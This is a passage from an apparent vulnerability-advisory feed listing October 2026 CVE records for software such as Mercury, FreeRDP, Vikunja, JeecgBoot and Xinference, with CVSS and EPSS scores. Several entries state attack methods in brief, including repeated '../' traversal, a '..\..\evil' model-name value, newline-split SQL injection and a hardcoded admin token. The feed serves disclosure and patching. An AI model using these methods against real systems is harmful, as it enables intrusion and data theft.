Sunshine is a self-hosted game stream host for Moonlight. From 2026.329.165800 until 2026.906.222525, Sunshine accepted any client certificate that chained to a stored paired-client certificate, but it did not require the presented certificate to be the exact enabled paired identity. Certificate text was also compared without canonicalizing equivalent PEM encodings. A previously paired client that retains its private key can present an alternate certificate derived from its paired certificate and bypass the Disable control. Equivalent PEM encodings could also cause inconsistent client identity handling. A client that was never paired cannot use this issue, and removing the paired client removes its trust relationship. This issue is fixed in version 2026.906.222525.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CLI Bridge provides filesystem access within a workspace root.
https://kevwire.com/record/CVE-2026-111045
CLI Bridge provides filesystem access within a workspace root. (Oct 19, 2026).
CLI Bridge provides filesystem access within a workspace root. Prior to 0.0.2, a dangling symlink pointing outside the workspace root bypasses resolveSafePath when fs.realpathSync throws ENOENT for a nonexistent target. The fallback resolves only the parent directory and returns the symlink path as safe, so write_file follows the link and can write arbitrary files outside the workspace root. This issue is fixed in version 0.0.2.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111045).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111045&date=2026-10-25).
Sources:
NVD CVE-2026-111045: https://nvd.nist.gov/vuln/detail/CVE-2026-111045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111045&date=2026-10-25
CLI Bridge provides filesystem access within a workspace root. Prior to 0.0.2, a dangling symlink pointing outside the workspace root bypasses resolveSafePath when fs.realpathSync throws ENOENT for a nonexistent target. The fallback resolves only the parent directory and returns the symlink path as safe, so write_file follows the link and can write arbitrary files outside the workspace root. This issue is fixed in version 0.0.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards.
https://kevwire.com/record/CVE-2026-111057
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. (Oct 19, 2026).
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.
CVSS 10.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111057).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111057&date=2026-10-25).
Sources:
NVD CVE-2026-111057: https://nvd.nist.gov/vuln/detail/CVE-2026-111057
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111057&date=2026-10-25
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.
https://kevwire.com/record/CVE-2026-111823
Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider. (Oct 17, 2026).
Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111823).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111823&date=2026-10-25).
Sources:
NVD CVE-2026-111823: https://nvd.nist.gov/vuln/detail/CVE-2026-111823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111823&date=2026-10-25
Mage OSS through 0.9.80 before 76c4f46 can proceed with session creation upon encountering an unknown OAuth provider.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1.
https://kevwire.com/record/CVE-2026-111853
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. (Oct 17, 2026).
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with elevated privileges.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111853).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111853&date=2026-10-25).
Sources:
NVD CVE-2026-111853: https://nvd.nist.gov/vuln/detail/CVE-2026-111853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111853&date=2026-10-25
An issue was discovered on Tektronix 3 Series MDO devices before 1.21.1. An OS command injection vulnerability exists in the FILESystem:MOUNT:DRIve SCPI command handler. Insufficient neutralization of user-supplied input allows remote attackers to execute arbitrary operating system commands with elevated privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset.
https://kevwire.com/record/CVE-2026-111880
FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset. (Oct 17, 2026).
FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset. Unauthenticated attackers can send a crafted AUTHENTICATE_MESSAGE with a backward session-key offset and MIC offset to write 16 zero bytes beyond the allocation.
CVSS 8.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111880).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111880&date=2026-10-25).
Sources:
NVD CVE-2026-111880: https://nvd.nist.gov/vuln/detail/CVE-2026-111880
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111880&date=2026-10-25
FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset. Unauthenticated attackers can send a crafted AUTHENTICATE_MESSAGE with a backward session-key offset and MIC offset to write 16 zero bytes beyond the allocation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users'...
https://kevwire.com/record/CVE-2026-111912
Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users'... (Oct 17, 2026).
Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users' forum topics. Attackers can replace the topic_uuid parameter in their own topic_save request, reusing their CSRF token, to overwrite the victim topic's title and first post.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111912).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111912&date=2026-10-25).
Sources:
NVD CVE-2026-111912: https://nvd.nist.gov/vuln/detail/CVE-2026-111912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111912&date=2026-10-25
Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users' forum topics. Attackers can replace the topic_uuid parameter in their own topic_save request, reusing their CSRF token, to overwrite the victim topic's title and first post.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help.
https://kevwire.com/record/CVE-2026-111915
Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. (Oct 19, 2026).
Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. Attackers can supply repeated '../' segments, which bypass the single-replacement sanitization in the publicly allowlisted endpoint, to read SSH keys, configuration, or notes.
CVSS 8.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111915).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111915&date=2026-10-25).
Sources:
NVD CVE-2026-111915: https://nvd.nist.gov/vuln/detail/CVE-2026-111915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111915&date=2026-10-25
Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. Attackers can supply repeated '../' segments, which bypass the single-replacement sanitization in the publicly allowlisted endpoint, to read SSH keys, configuration, or notes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks...
https://kevwire.com/record/CVE-2026-111917
Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks... (Oct 17, 2026).
Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks the JWT sid claim against the sessions table. Attackers holding a stolen access token can open or maintain connections to /api/v2/ws after session deletion or TOTP enrollment, continuing to receive the victim's notification.created pushes, including comment, task and project content.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111917).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111917&date=2026-10-25).
Sources:
NVD CVE-2026-111917: https://nvd.nist.gov/vuln/detail/CVE-2026-111917
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111917&date=2026-10-25
Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks the JWT sid claim against the sessions table. Attackers holding a stolen access token can open or maintain connections to /api/v2/ws after session deletion or TOTP enrollment, continuing to receive the victim's notification.created pushes, including comment, task and project content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set.
https://kevwire.com/record/CVE-2026-111922
Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. (Oct 17, 2026).
Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. Attackers controlling a page on any localhost port can send a credentialed request to the token refresh endpoint and read the returned bearer JWT to take over the logged-in user's account.
CVSS 7.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111922).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111922&date=2026-10-25).
Sources:
NVD CVE-2026-111922: https://nvd.nist.gov/vuln/detail/CVE-2026-111922
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111922&date=2026-10-25
Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. Attackers controlling a page on any localhost port can send a credentialed request to the token refresh endpoint and read the returned bearer JWT to take over the logged-in user's account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server.
https://kevwire.com/record/CVE-2026-111923
Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server. (Oct 17, 2026).
Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server. Attackers can send a crafted binary plist payload of about 150 bytes to the enrollment endpoints, triggering exponential allocation or infinite recursion that exhausts CPU and memory.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111923).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111923&date=2026-10-25).
Sources:
NVD CVE-2026-111923: https://nvd.nist.gov/vuln/detail/CVE-2026-111923
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111923&date=2026-10-25
Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server. Attackers can send a crafted binary plist payload of about 150 bytes to the enrollment endpoints, triggering exponential allocation or infinite recursion that exhausts CPU and memory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token.
https://kevwire.com/record/CVE-2026-111998
Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token. (Oct 18, 2026).
Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token. Attackers can send the fixed Bearer token to the gateway gRPC proxy port to manage namespaces, eventbuses, users, tokens, and role bindings, and read or publish events.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111998).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111998&date=2026-10-25).
Sources:
NVD CVE-2026-111998: https://nvd.nist.gov/vuln/detail/CVE-2026-111998
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111998&date=2026-10-25
Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token. Attackers can send the fixed Bearer token to the gateway gRPC proxy port to manage namespaces, eventbuses, users, tokens, and role bindings, and read or publish events.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when...
https://kevwire.com/record/CVE-2026-112006
OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when... (Oct 18, 2026).
OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when OTEL_EXPORTER_OTLP_CERTIFICATE variables are empty strings. Man-in-the-middle attackers can impersonate the collector to read or alter exported traces, metrics, and logs, including authentication headers from OTEL_EXPORTER_OTLP_HEADERS.
CVSS 8.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112006).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112006&date=2026-10-25).
Sources:
NVD CVE-2026-112006: https://nvd.nist.gov/vuln/detail/CVE-2026-112006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112006&date=2026-10-25
OpenTelemetry opentelemetry-exporter-otlp-proto-http 1.5.0 before 1.45.0 contains an improper certificate validation vulnerability that disables TLS verification when OTEL_EXPORTER_OTLP_CERTIFICATE variables are empty strings. Man-in-the-middle attackers can impersonate the collector to read or alter exported traces, metrics, and logs, including authentication headers from OTEL_EXPORTER_OTLP_HEADERS.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents.
https://kevwire.com/record/CVE-2026-112015
Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents. (Oct 18, 2026).
Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents. Attackers can upload a bundle whose sub-agent uses an absolute or parent-traversing working directory, bypassing root-only validation in bundles.py, to read and write host files as the runner user.
CVSS 7.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112015).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112015&date=2026-10-25).
Sources:
NVD CVE-2026-112015: https://nvd.nist.gov/vuln/detail/CVE-2026-112015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112015&date=2026-10-25
Omnigent 0.3.0 before 0.14.0 contains a path traversal vulnerability that allows authenticated users to escape the workspace by setting os_env.cwd on nested sub-agents. Attackers can upload a bundle whose sub-agent uses an absolute or parent-traversing working directory, bypassing root-only validation in bundles.py, to read and write host files as the runner user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters...
https://kevwire.com/record/CVE-2026-112017
JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters... (Oct 18, 2026).
JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters into dictionary and online report SQL fragments. Attackers can send newline-separated payloads to endpoints like /sys/dict/getDictItems for boolean or time-based blind injection, extracting database contents including administrator password hashes from sys_user.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112017).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112017&date=2026-10-25).
Sources:
NVD CVE-2026-112017: https://nvd.nist.gov/vuln/detail/CVE-2026-112017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112017&date=2026-10-25
JeecgBoot before 3.9.5 contains an sql injection vulnerability that allows authenticated attackers to bypass the SqlInjectionUtil keyword blocklist by inserting newline characters into dictionary and online report SQL fragments. Attackers can send newline-separated payloads to endpoints like /sys/dict/getDictItems for boolean or time-based blind injection, extracting database contents including administrator password hashes from sys_user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON...
https://kevwire.com/record/CVE-2026-112021
snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON... (Oct 18, 2026).
snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON strings containing a \u0000 escape. Attackers can send a single crafted application/activity+json POST to activitypub_post_handler(), which parses it before signature checks, overflowing heap allocations and crashing the server.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112021).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112021&date=2026-10-25).
Sources:
NVD CVE-2026-112021: https://nvd.nist.gov/vuln/detail/CVE-2026-112021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112021&date=2026-10-25
snac2 before 2.93 contains a heap-based buffer overflow vulnerability in _xs_json_load_lexer() that allows unauthenticated remote attackers to corrupt heap memory by sending JSON strings containing a \u0000 escape. Attackers can send a single crafted application/activity+json POST to activitypub_post_handler(), which parses it before signature checks, overflowing heap allocations and crashing the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences...
https://kevwire.com/record/CVE-2026-112051
Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences... (Oct 18, 2026).
Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences in model_name. Attackers can register a persisted custom model through POST /v1/model_registrations/{model_type} with names like ..\..\evil to overwrite configuration or data files writable by the Xinference process.
CVSS 8.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112051).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112051&date=2026-10-25).
Sources:
NVD CVE-2026-112051: https://nvd.nist.gov/vuln/detail/CVE-2026-112051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112051&date=2026-10-25
Xinference through 4.0.1 contains a path traversal vulnerability on Windows that allows unauthenticated attackers to write and delete arbitrary .json files via backslash sequences in model_name. Attackers can register a persisted custom model through POST /v1/model_registrations/{model_type} with names like ..\..\evil to overwrite configuration or data files writable by the Xinference process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources...
https://kevwire.com/record/CVE-2026-112262
RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources... (Oct 19, 2026).
RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources and fs sinks. Attackers holding schema CREATE privilege can set posix_fs.root or fs.path to any directory to read credentials and keys or write files as root.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112262).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112262&date=2026-10-25).
Sources:
NVD CVE-2026-112262: https://nvd.nist.gov/vuln/detail/CVE-2026-112262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112262&date=2026-10-25
RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources and fs sinks. Attackers holding schema CREATE privilege can set posix_fs.root or fs.path to any directory to read credentials and keys or write files as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32...
https://kevwire.com/record/CVE-2026-112277
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32... (Oct 19, 2026).
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32 bpp compressed bitmaps. Attackers can declare a large bitmap geometry with a short compressed body in bitmap update PDUs or bitmap cache orders, causing unbounded reads past the receive buffer and denial of service.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112277).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112277&date=2026-10-25).
Sources:
NVD CVE-2026-112277: https://nvd.nist.gov/vuln/detail/CVE-2026-112277
